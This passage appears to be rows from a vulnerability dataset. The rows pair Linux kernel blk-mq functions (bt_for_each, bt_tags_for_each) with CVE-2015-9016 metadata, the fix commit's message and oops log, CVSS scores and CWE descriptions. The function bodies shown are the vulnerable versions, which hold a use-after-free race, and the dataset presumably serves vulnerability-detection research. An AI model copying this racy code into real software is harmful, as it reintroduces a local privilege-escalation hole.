439.730500] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000202^M [ 439.730500] R13: ffff880814104800 R14: 0000000000000002 R15: ffff880811a2ea00^M [ 439.730500] FS: 00007f165b3f5740(0000) GS:ffff880819200000(0000) knlGS:0000000000000000^M [ 439.730500] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b^M [ 439.730500] CR2: 0000000000000158 CR3: 00000007ef766000 CR4: 00000000000006e0^M [ 439.730500] Stack:^M [ 439.730500] 0000000000000008 ffff8808114eed90 ffff880819203e00 ffffffff812dc104^M [ 439.755663] ffff880819203e40 ffffffff812d9f5e 0000020000000000 ffff8808114eed80^M [ 439.755663] Call Trace:^M [ 439.755663] <IRQ> ^M [ 439.755663] [<ffffffff812dc104>] bt_for_each+0x6e/0xc8^M [ 439.755663] [<ffffffff812d9f5e>] ? blk_mq_rq_timed_out+0x6a/0x6a^M [ 439.755663] [<ffffffff812d9f5e>] ? blk_mq_rq_timed_out+0x6a/0x6a^M [ 439.755663] [<ffffffff812dc1b3>] blk_mq_tag_busy_iter+0x55/0x5e^M [ 439.755663] [<ffffffff812d88b4>] ? blk_mq_bio_to_request+0x38/0x38^M [ 439.755663] [<ffffffff812d8911>] blk_mq_rq_timer+0x5d/0xd4^M [ 439.755663] [<ffffffff810a3e10>] call_timer_fn+0xf7/0x284^M [ 439.755663] [<ffffffff810a3d1e>] ? call_timer_fn+0x5/0x284^M [ 439.755663] [<ffffffff812d88b4>] ? blk_mq_bio_to_request+0x38/0x38^M [ 439.755663] [<ffffffff810a46d6>] run_timer_softirq+0x1ce/0x1f8^M [ 439.755663] [<ffffffff8104c367>] __do_softirq+0x181/0x3a4^M [ 439.755663] [<ffffffff8104c76e>] irq_exit+0x40/0x94^M [ 439.755663] [<ffffffff81031482>] smp_apic_timer_interrupt+0x33/0x3e^M [ 439.755663] [<ffffffff815559a4>] apic_timer_interrupt+0x84/0x90^M [ 439.755663] <EOI> ^M [ 439.755663] [<ffffffff81554350>] ? _raw_spin_unlock_irq+0x32/0x4a^M [ 439.755663] [<ffffffff8106a98b>] finish_task_switch+0xe0/0x163^M [ 439.755663] [<ffffffff8106a94d>] ? finish_task_switch+0xa2/0x163^M [ 439.755663] [<ffffffff81550066>] __schedule+0x469/0x6cd^M [ 439.755663] [<ffffffff8155039b>] schedule+0x82/0x9a^M [ 439.789267] [<ffffffff8119b28b>] signalfd_read+0x186/0x49a^M [ 439.790911] [<ffffffff8106d86a>] ? wake_up_q+0x47/0x47^M [ 439.790911] [<ffffffff811618c2>] __vfs_read+0x28/0x9f^M [ 439.790911] [<ffffffff8117a289>] ? __fget_light+0x4d/0x74^M [ 439.790911] [<ffffffff811620a7>] vfs_read+0x7a/0xc6^M [ 439.790911] [<ffffffff8116292b>] SyS_read+0x49/0x7f^M [ 439.790911] [<ffffffff81554c17>] entry_SYSCALL_64_fastpath+0x12/0x6f^M [ 439.790911] Code: 48 89 e5 e8 a9 b8 e7 ff 5d c3 0f 1f 44 00 00 55 89 f2 48 89 e5 41 54 41 89 f4 53 48 8b 47 60 48 8b 1c d0 48 8b 7b 30 48 8b 53 38 <48> 8b 87 58 01 00 00 48 85 c0 75 09 48 8b 97 88 0c 00 00 eb 10 ^M [ 439.790911] RIP [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.790911] RSP <ffff880819203da0>^M [ 439.790911] CR2: 0000000000000158^M [ 439.790911] ---[ end trace d40af58949325661 ]---^M Cc: <[email protected]> Signed-off-by: Ming Lei <[email protected]> Signed-off-by: Jens Axboe <[email protected]>
0048b4837affd153897ed1222283492070027aa9
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
bt_for_each
bt_for_each( struct blk_mq_hw_ctx * hctx , struct blk_mq_bitmap_tags * bt , unsigned int off , busy_iter_fn * fn , void * data , bool reserved)
['hctx', 'bt', 'off', 'fn', 'data', 'reserved']
static void bt_for_each(struct blk_mq_hw_ctx *hctx, struct blk_mq_bitmap_tags *bt, unsigned int off, busy_iter_fn *fn, void *data, bool reserved) { struct request *rq; int bit, i; for (i = 0; i < bt->map_nr; i++) { struct blk_align_bitmap *bm = &bt->map[i]; for (bit = find_first_bit(&bm->word, bm->depth); bit < bm->depth; bit = find_next_bit(&bm->word, bm->depth, bit + 1)) { rq = blk_mq_tag_to_rq(hctx->tags, off + bit); if (rq->q == hctx->queue) fn(hctx, rq, data, reserved); } off += (1 << bt->bits_per_word); } }
156
True
1
CVE-2015-9016
False
False
False
False
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
LOCAL
HIGH
LOW
NONE
UNCHANGED
HIGH
HIGH
HIGH
7.0
HIGH
1.0
5.9
nan
[{'url': 'https://source.android.com/security/bulletin/2018-02-01', 'name': 'https://source.android.com/security/bulletin/2018-02-01', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://github.com/torvalds/linux/commit/0048b4837affd153897ed1222283492070027aa9', 'name': 'https://github.com/torvalds/linux/commit/0048b4837affd153897ed1222283492070027aa9', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://www.debian.org/security/2018/dsa-4187', 'name': 'DSA-4187', 'refsource': 'DEBIAN', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-264'}, {'lang': 'en', 'value': 'CWE-362'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:google:android:-:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'In blk_mq_tag_to_rq in blk-mq.c in the upstream kernel, there is a possible use after free due to a race condition when a request has been previously freed by blk_mq_complete_request. This could lead to local escalation of privilege. Product: Android. Versions: Android kernel. Android ID: A-63083046.'}]
2018-05-03T01:29Z
2018-04-05T18:29Z
Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
https://cwe.mitre.org/data/definitions/264.html
1
Ming Lei
2015-08-09 03:41:51-04:00
blk-mq: fix race between timeout and freeing request Inside timeout handler, blk_mq_tag_to_rq() is called to retrieve the request from one tag. This way is obviously wrong because the request can be freed any time and some fiedds of the request can't be trusted, then kernel oops might be triggered[1]. Currently wrt. blk_mq_tag_to_rq(), the only special case is that the flush request can share same tag with the request cloned from, and the two requests can't be active at the same time, so this patch fixes the above issue by updating tags->rqs[tag] with the active request(either flush rq or the request cloned from) of the tag. Also blk_mq_tag_to_rq() gets much simplified with this patch. Given blk_mq_tag_to_rq() is mainly for drivers and the caller must make sure the request can't be freed, so in bt_for_each() this helper is replaced with tags->rqs[tag]. [1] kernel oops log [ 439.696220] BUG: unable to handle kernel NULL pointer dereference at 0000000000000158^M [ 439.697162] IP: [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.700653] PGD 7ef765067 PUD 7ef764067 PMD 0 ^M [ 439.700653] Oops: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC ^M [ 439.700653] Dumping ftrace buffer:^M [ 439.700653] (ftrace buffer empty)^M [ 439.700653] Modules linked in: nbd ipv6 kvm_intel kvm serio_raw^M [ 439.700653] CPU: 6 PID: 2779 Comm: stress-ng-sigfd Not tainted 4.2.0-rc5-next-20150805+ #265^M [ 439.730500] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011^M [ 439.730500] task: ffff880605308000 ti: ffff88060530c000 task.ti: ffff88060530c000^M [ 439.730500] RIP: 0010:[<ffffffff812d89ba>] [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.730500] RSP: 0018:ffff880819203da0 EFLAGS: 00010283^M [ 439.730500] RAX: ffff880811b0e000 RBX: ffff8800bb465f00 RCX: 0000000000000002^M [ 439.730500] RDX: 0000000000000000 RSI: 0000000000000202 RDI: 0000000000000000^M [ 439.730500] RBP: ffff880819203db0 R08: 0000000000000002 R09: 0000000000000000^M [ 439.730500] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000202^M [ 439.730500] R13: ffff880814104800 R14: 0000000000000002 R15: ffff880811a2ea00^M [ 439.730500] FS: 00007f165b3f5740(0000) GS:ffff880819200000(0000) knlGS:0000000000000000^M [ 439.730500] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b^M [ 439.730500] CR2: 0000000000000158 CR3: 00000007ef766000 CR4: 00000000000006e0^M [ 439.730500] Stack:^M [ 439.730500] 0000000000000008 ffff8808114eed90 ffff880819203e00 ffffffff812dc104^M [ 439.755663] ffff880819203e40 ffffffff812d9f5e 0000020000000000 ffff8808114eed80^M [ 439.755663] Call Trace:^M [ 439.755663] <IRQ> ^M [ 439.755663] [<ffffffff812dc104>] bt_for_each+0x6e/0xc8^M [ 439.755663] [<ffffffff812d9f5e>] ? blk_mq_rq_timed_out+0x6a/0x6a^M [ 439.755663] [<ffffffff812d9f5e>] ? blk_mq_rq_timed_out+0x6a/0x6a^M [ 439.755663] [<ffffffff812dc1b3>] blk_mq_tag_busy_iter+0x55/0x5e^M [ 439.755663] [<ffffffff812d88b4>] ? blk_mq_bio_to_request+0x38/0x38^M [ 439.755663] [<ffffffff812d8911>] blk_mq_rq_timer+0x5d/0xd4^M [ 439.755663] [<ffffffff810a3e10>] call_timer_fn+0xf7/0x284^M [ 439.755663] [<ffffffff810a3d1e>] ? call_timer_fn+0x5/0x284^M [ 439.755663] [<ffffffff812d88b4>] ? blk_mq_bio_to_request+0x38/0x38^M [ 439.755663] [<ffffffff810a46d6>] run_timer_softirq+0x1ce/0x1f8^M [ 439.755663] [<ffffffff8104c367>] __do_softirq+0x181/0x3a4^M [ 439.755663] [<ffffffff8104c76e>] irq_exit+0x40/0x94^M [ 439.755663] [<ffffffff81031482>] smp_apic_timer_interrupt+0x33/0x3e^M [ 439.755663] [<ffffffff815559a4>] apic_timer_interrupt+0x84/0x90^M [ 439.755663] <EOI> ^M [ 439.755663] [<ffffffff81554350>] ? _raw_spin_unlock_irq+0x32/0x4a^M [ 439.755663] [<ffffffff8106a98b>] finish_task_switch+0xe0/0x163^M [ 439.755663] [<ffffffff8106a94d>] ? finish_task_switch+0xa2/0x163^M [ 439.755663] [<ffffffff81550066>] __schedule+0x469/0x6cd^M [ 439.755663] [<ffffffff8155039b>] schedule+0x82/0x9a^M [ 439.789267] [<ffffffff8119b28b>] signalfd_read+0x186/0x49a^M [ 439.790911] [<ffffffff8106d86a>] ? wake_up_q+0x47/0x47^M [ 439.790911] [<ffffffff811618c2>] __vfs_read+0x28/0x9f^M [ 439.790911] [<ffffffff8117a289>] ? __fget_light+0x4d/0x74^M [ 439.790911] [<ffffffff811620a7>] vfs_read+0x7a/0xc6^M [ 439.790911] [<ffffffff8116292b>] SyS_read+0x49/0x7f^M [ 439.790911] [<ffffffff81554c17>] entry_SYSCALL_64_fastpath+0x12/0x6f^M [ 439.790911] Code: 48 89 e5 e8 a9 b8 e7 ff 5d c3 0f 1f 44 00 00 55 89 f2 48 89 e5 41 54 41 89 f4 53 48 8b 47 60 48 8b 1c d0 48 8b 7b 30 48 8b 53 38 <48> 8b 87 58 01 00 00 48 85 c0 75 09 48 8b 97 88 0c 00 00 eb 10 ^M [ 439.790911] RIP [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.790911] RSP <ffff880819203da0>^M [ 439.790911] CR2: 0000000000000158^M [ 439.790911] ---[ end trace d40af58949325661 ]---^M Cc: <[email protected]> Signed-off-by: Ming Lei <[email protected]> Signed-off-by: Jens Axboe <[email protected]>
0048b4837affd153897ed1222283492070027aa9
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
bt_tags_for_each
bt_tags_for_each( struct blk_mq_tags * tags , struct blk_mq_bitmap_tags * bt , unsigned int off , busy_tag_iter_fn * fn , void * data , bool reserved)
['tags', 'bt', 'off', 'fn', 'data', 'reserved']
static void bt_tags_for_each(struct blk_mq_tags *tags, struct blk_mq_bitmap_tags *bt, unsigned int off, busy_tag_iter_fn *fn, void *data, bool reserved) { struct request *rq; int bit, i; if (!tags->rqs) return; for (i = 0; i < bt->map_nr; i++) { struct blk_align_bitmap *bm = &bt->map[i]; for (bit = find_first_bit(&bm->word, bm->depth); bit < bm->depth; bit = find_next_bit(&bm->word, bm->depth, bit + 1)) { rq = blk_mq_tag_to_rq(tags, off + bit); fn(rq, data, reserved); } off += (1 << bt->bits_per_word); } }
151
True
1
CVE-2015-9016
False
False
False
False
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
LOCAL
HIGH
LOW
NONE
UNCHANGED
HIGH
HIGH
HIGH
7.0
HIGH
1.0
5.9
nan
[{'url': 'https://source.android.com/security/bulletin/2018-02-01', 'name': 'https://source.android.com/security/bulletin/2018-02-01', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://github.com/torvalds/linux/commit/0048b4837affd153897ed1222283492070027aa9', 'name': 'https://github.com/torvalds/linux/commit/0048b4837affd153897ed1222283492070027aa9', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://www.debian.org/security/2018/dsa-4187', 'name': 'DSA-4187', 'refsource': 'DEBIAN', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-264'}, {'lang': 'en', 'value': 'CWE-362'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:google:android:-:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'In blk_mq_tag_to_rq in blk-mq.c in the upstream kernel, there is a possible use after free due to a race condition when a request has been previously freed by blk_mq_complete_request. This could lead to local escalation of privilege. Product: Android. Versions: Android kernel. Android ID: A-63083046.'}]
2018-05-03T01:29Z
2018-04-05T18:29Z
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.
This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider. A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc. A race condition violates these properties, which are closely related: Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution. Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource. A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x). The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the program; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable program.
https://cwe.mitre.org/data/definitions/362.html
0
Ming Lei
2015-08-09 03:41:51-04:00
blk-mq: fix race between timeout and freeing request Inside timeout handler, blk_mq_tag_to_rq() is called to retrieve the request from one tag. This way is obviously wrong because the request can be freed any time and some fiedds of the request can't be trusted, then kernel oops might be triggered[1]. Currently wrt. blk_mq_tag_to_rq(), the only special case is that the flush request can share same tag with the request cloned from, and the two requests can't be active at the same time, so this patch fixes the above issue by updating tags->rqs[tag] with the active request(either flush rq or the request cloned from) of the tag. Also blk_mq_tag_to_rq() gets much simplified with this patch. Given blk_mq_tag_to_rq() is mainly for drivers and the caller must make sure the request can't be freed, so in bt_for_each() this helper is replaced with tags->rqs[tag]. [1] kernel oops log [ 439.696220] BUG: unable to handle kernel NULL pointer dereference at 0000000000000158^M [ 439.697162] IP: [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.700653] PGD 7ef765067 PUD 7ef764067 PMD 0 ^M [ 439.700653] Oops: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC ^M [ 439.700653] Dumping ftrace buffer:^M [ 439.700653] (ftrace buffer empty)^M [ 439.700653] Modules linked in: nbd ipv6 kvm_intel kvm serio_raw^M [ 439.700653] CPU: 6 PID: 2779 Comm: stress-ng-sigfd Not tainted 4.2.0-rc5-next-20150805+ #265^M [ 439.730500] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011^M [ 439.730500] task: ffff880605308000 ti: ffff88060530c000 task.ti: ffff88060530c000^M [ 439.730500] RIP: 0010:[<ffffffff812d89ba>] [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.730500] RSP: 0018:ffff880819203da0 EFLAGS: 00010283^M [ 439.730500] RAX: ffff880811b0e000 RBX: ffff8800bb465f00 RCX: 0000000000000002^M [ 439.730500] RDX: 0000000000000000 RSI: 0000000000000202 RDI: 0000000000000000^M [ 439.730500] RBP: ffff880819203db0 R08: 0000000000000002 R09: 0000000000000000^M [ 439.730500] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000202^M [ 439.730500] R13: ffff880814104800 R14: 0000000000000002 R15: ffff880811a2ea00^M [ 439.730500] FS: 00007f165b3f5740(0000) GS:ffff880819200000(0000) knlGS:0000000000000000^M [ 439.730500] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b^M [ 439.730500] CR2: 0000000000000158 CR3: 00000007ef766000 CR4: 00000000000006e0^M [ 439.730500] Stack:^M [ 439.730500] 0000000000000008 ffff8808114eed90 ffff880819203e00 ffffffff812dc104^M [ 439.755663] ffff880819203e40 ffffffff812d9f5e 0000020000000000 ffff8808114eed80^M [ 439.755663] Call Trace:^M [ 439.755663] <IRQ> ^M [ 439.755663] [<ffffffff812dc104>] bt_for_each+0x6e/0xc8^M [ 439.755663] [<ffffffff812d9f5e>] ? blk_mq_rq_timed_out+0x6a/0x6a^M [ 439.755663] [<ffffffff812d9f5e>] ? blk_mq_rq_timed_out+0x6a/0x6a^M [ 439.755663] [<ffffffff812dc1b3>] blk_mq_tag_busy_iter+0x55/0x5e^M [ 439.755663] [<ffffffff812d88b4>] ? blk_mq_bio_to_request+0x38/0x38^M [ 439.755663] [<ffffffff812d8911>] blk_mq_rq_timer+0x5d/0xd4^M [ 439.755663] [<ffffffff810a3e10>] call_timer_fn+0xf7/0x284^M [ 439.755663] [<ffffffff810a3d1e>] ? call_timer_fn+0x5/0x284^M [ 439.755663] [<ffffffff812d88b4>] ? blk_mq_bio_to_request+0x38/0x38^M [ 439.755663] [<ffffffff810a46d6>] run_timer_softirq+0x1ce/0x1f8^M [ 439.755663] [<ffffffff8104c367>] __do_softirq+0x181/0x3a4^M [ 439.755663] [<ffffffff8104c76e>] irq_exit+0x40/0x94^M [ 439.755663] [<ffffffff81031482>] smp_apic_timer_interrupt+0x33/0x3e^M [ 439.755663] [<ffffffff815559a4>] apic_timer_interrupt+0x84/0x90^M [ 439.755663] <EOI> ^M [ 439.755663] [<ffffffff81554350>] ? _raw_spin_unlock_irq+0x32/0x4a^M [ 439.755663] [<ffffffff8106a98b>] finish_task_switch+0xe0/0x163^M [ 439.755663] [<ffffffff8106a94d>] ? finish_task_switch+0xa2/0x163^M [ 439.755663] [<ffffffff81550066>] __schedule+0x469/0x6cd^M [ 439.755663] [<ffffffff8155039b>] schedule+0x82/0x9a^M [ 439.789267] [<ffffffff8119b28b>] signalfd_read+0x186/0x49a^M [ 439.790911] [<ffffffff8106d86a>] ? wake_up_q+0x47/0x47^M [ 439.790911] [<ffffffff811618c2>] __vfs_read+0x28/0x9f^M [ 439.790911] [<ffffffff8117a289>] ? __fget_light+0x4d/0x74^M [ 439.790911] [<ffffffff811620a7>] vfs_read+0x7a/0xc6^M [ 439.790911] [<ffffffff8116292b>] SyS_read+0x49/0x7f^M [ 439.790911] [<ffffffff81554c17>] entry_SYSCALL_64_fastpath+0x12/0x6f^M [ 439.790911] Code: 48 89 e5 e8 a9 b8 e7 ff 5d c3 0f 1f 44 00 00 55 89 f2 48 89 e5 41 54 41 89 f4 53 48 8b 47 60 48 8b 1c d0 48 8b 7b 30 48 8b 53 38 <48> 8b 87 58 01 00 00 48 85 c0 75 09 48 8b 97 88 0c 00 00 eb 10 ^M [ 439.790911] RIP [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.790911] RSP <ffff880819203da0>^M [ 439.790911] CR2: 0000000000000158^M [ 439.790911] ---[ end trace d40af58949325661 ]---^M Cc: <[email protected]> Signed-off-by: Ming Lei <[email protected]> Signed-off-by: Jens Axboe <[email protected]>
0048b4837affd153897ed1222283492070027aa9
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
bt_tags_for_each
bt_tags_for_each( struct blk_mq_tags * tags , struct blk_mq_bitmap_tags * bt , unsigned int off , busy_tag_iter_fn * fn , void * data , bool reserved)
['tags', 'bt', 'off', 'fn', 'data', 'reserved']
static void bt_tags_for_each(struct blk_mq_tags *tags, struct blk_mq_bitmap_tags *bt, unsigned int off, busy_tag_iter_fn *fn, void *data, bool reserved) { struct request *rq; int bit, i; if (!tags->rqs) return; for (i = 0; i < bt->map_nr; i++) { struct blk_align_bitmap *bm = &bt->map[i]; for (bit = find_first_bit(&bm->word, bm->depth); bit < bm->depth; bit = find_next_bit(&bm->word, bm->depth, bit + 1)) { rq = blk_mq_tag_to_rq(tags, off + bit); fn(rq, data, reserved); } off += (1 << bt->bits_per_word); } }
151
True
1
CVE-2015-9016
False
False
False
False
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
LOCAL
HIGH
LOW
NONE
UNCHANGED
HIGH
HIGH
HIGH
7.0
HIGH
1.0
5.9
nan
[{'url': 'https://source.android.com/security/bulletin/2018-02-01', 'name': 'https://source.android.com/security/bulletin/2018-02-01', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://github.com/torvalds/linux/commit/0048b4837affd153897ed1222283492070027aa9', 'name': 'https://github.com/torvalds/linux/commit/0048b4837affd153897ed1222283492070027aa9', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://www.debian.org/security/2018/dsa-4187', 'name': 'DSA-4187', 'refsource': 'DEBIAN', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-264'}, {'lang': 'en', 'value': 'CWE-362'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:google:android:-:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'In blk_mq_tag_to_rq in blk-mq.c in the upstream kernel, there is a possible use after free due to a race condition when a request has been previously freed by blk_mq_complete_request. This could lead to local escalation of privilege. Product: Android. Versions: Android kernel. Android ID: A-63083046.'}]
2018-05-03T01:29Z
2018-04-05T18:29Z
Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
https://cwe.mitre.org/data/definitions/264.html
1
Ming Lei
2015-08-09 03:41:51-04:00
blk-mq: fix race between timeout and freeing request Inside timeout handler, blk_mq_tag_to_rq() is called to retrieve the request from one tag. This way is obviously wrong because the request can be freed any time and some fiedds of the request can't be trusted, then kernel oops might be triggered[1]. Currently wrt. blk_mq_tag_to_rq(), the only special case is that the flush request can share same tag with the request cloned from, and the two requests can't be active at the same time, so this patch fixes the above issue by updating tags->rqs[tag] with the active request(either flush rq or the request cloned from) of the tag. Also blk_mq_tag_to_rq() gets much simplified with this patch. Given blk_mq_tag_to_rq() is mainly for drivers and the caller must make sure the request can't be freed, so in bt_for_each() this helper is replaced with tags->rqs[tag]. [1] kernel oops log [ 439.696220] BUG: unable to handle kernel NULL pointer dereference at 0000000000000158^M [ 439.697162] IP: [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.700653] PGD 7ef765067 PUD 7ef764067 PMD 0 ^M [ 439.700653] Oops: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC ^M [ 439.700653] Dumping ftrace buffer:^M [ 439.700653] (ftrace buffer empty)^M [ 439.700653] Modules linked in: nbd ipv6 kvm_intel kvm serio_raw^M [ 439.700653] CPU: 6 PID: 2779 Comm: stress-ng-sigfd Not tainted 4.2.0-rc5-next-20150805+ #265^M [ 439.730500] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011^M [ 439.730500] task: ffff880605308000 ti: ffff88060530c000 task.ti: ffff88060530c000^M [ 439.730500] RIP: 0010:[<ffffffff812d89ba>] [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.730500] RSP: 0018:ffff880819203da0 EFLAGS: 00010283^M [ 439.730500] RAX: ffff880811b0e000 RBX: ffff8800bb465f00 RCX: 0000000000000002^M [ 439.730500] RDX: 0000000000000000 RSI: 0000000000000202 RDI: 0000000000000000^M [ 439.730500] RBP: ffff880819203db0 R08: 0000000000000002 R09: 0000000000000000^M [ 439.730500] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000202^M [ 439.730500] R13: ffff880814104800 R14: 0000000000000002 R15: ffff880811a2ea00^M [ 439.730500] FS: 00007f165b3f5740(0000) GS:ffff880819200000(0000) knlGS:0000000000000000^M [ 439.730500] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b^M [ 439.730500] CR2: 0000000000000158 CR3: 00000007ef766000 CR4: 00000000000006e0^M [ 439.730500] Stack:^M [ 439.730500] 0000000000000008 ffff8808114eed90 ffff880819203e00 ffffffff812dc104^M [ 439.755663] ffff880819203e40 ffffffff812d9f5e 0000020000000000 ffff8808114eed80^M [ 439.755663] Call Trace:^M [ 439.755663] <IRQ> ^M [ 439.755663] [<ffffffff812dc104>] bt_for_each+0x6e/0xc8^M [ 439.755663] [<ffffffff812d9f5e>] ? blk_mq_rq_timed_out+0x6a/0x6a^M [ 439.755663] [<ffffffff812d9f5e>] ? blk_mq_rq_timed_out+0x6a/0x6a^M [ 439.755663] [<ffffffff812dc1b3>] blk_mq_tag_busy_iter+0x55/0x5e^M [ 439.755663] [<ffffffff812d88b4>] ? blk_mq_bio_to_request+0x38/0x38^M [ 439.755663] [<ffffffff812d8911>] blk_mq_rq_timer+0x5d/0xd4^M [ 439.755663] [<ffffffff810a3e10>] call_timer_fn+0xf7/0x284^M [ 439.755663] [<ffffffff810a3d1e>] ? call_timer_fn+0x5/0x284^M [ 439.755663] [<ffffffff812d88b4>] ? blk_mq_bio_to_request+0x38/0x38^M [ 439.755663] [<ffffffff810a46d6>] run_timer_softirq+0x1ce/0x1f8^M [ 439.755663] [<ffffffff8104c367>] __do_softirq+0x181/0x3a4^M [ 439.755663] [<ffffffff8104c76e>] irq_exit+0x40/0x94^M [ 439.755663] [<ffffffff81031482>] smp_apic_timer_interrupt+0x33/0x3e^M [ 439.755663] [<ffffffff815559a4>] apic_timer_interrupt+0x84/0x90^M [ 439.755663] <EOI> ^M [ 439.755663] [<ffffffff81554350>] ? _raw_spin_unlock_irq+0x32/0x4a^M [ 439.755663] [<ffffffff8106a98b>] finish_task_switch+0xe0/0x163^M [ 439.755663] [<ffffffff8106a94d>] ? finish_task_switch+0xa2/0x163^M [ 439.755663] [<ffffffff81550066>] __schedule+0x469/0x6cd^M [ 439.755663] [<ffffffff8155039b>] schedule+0x82/0x9a^M [ 439.789267] [<ffffffff8119b28b>] signalfd_read+0x186/0x49a^M [ 439.790911] [<ffffffff8106d86a>] ? wake_up_q+0x47/0x47^M [ 439.790911] [<ffffffff811618c2>] __vfs_read+0x28/0x9f^M [ 439.790911] [<ffffffff8117a289>] ? __fget_light+0x4d/0x74^M [ 439.790911] [<ffffffff811620a7>] vfs_read+0x7a/0xc6^M [ 439.790911] [<ffffffff8116292b>] SyS_read+0x49/0x7f^M [ 439.790911] [<ffffffff81554c17>] entry_SYSCALL_64_fastpath+0x12/0x6f^M [ 439.790911] Code: 48 89 e5 e8 a9 b8 e7 ff 5d c3 0f 1f 44 00 00 55 89 f2 48 89 e5 41 54 41 89 f4 53 48 8b 47 60 48 8b 1c d0 48 8b 7b 30 48 8b 53 38 <48> 8b 87 58 01 00 00 48 85 c0 75 09 48 8b 97 88 0c 00 00 eb 10 ^M [ 439.790911] RIP [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.790911] RSP <ffff880819203da0>^M [ 439.790911] CR2: 0000000000000158^M [ 439.790911] ---[ end trace d40af58949325661 ]---^M Cc: <[email protected]> Signed-off-by: Ming Lei <[email protected]> Signed-off-by: Jens Axboe <[email protected]>
0048b4837affd153897ed1222283492070027aa9
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
blk_mq_tag_to_rq
blk_mq_tag_to_rq( struct blk_mq_tags * tags , unsigned int tag)
['tags', 'tag']
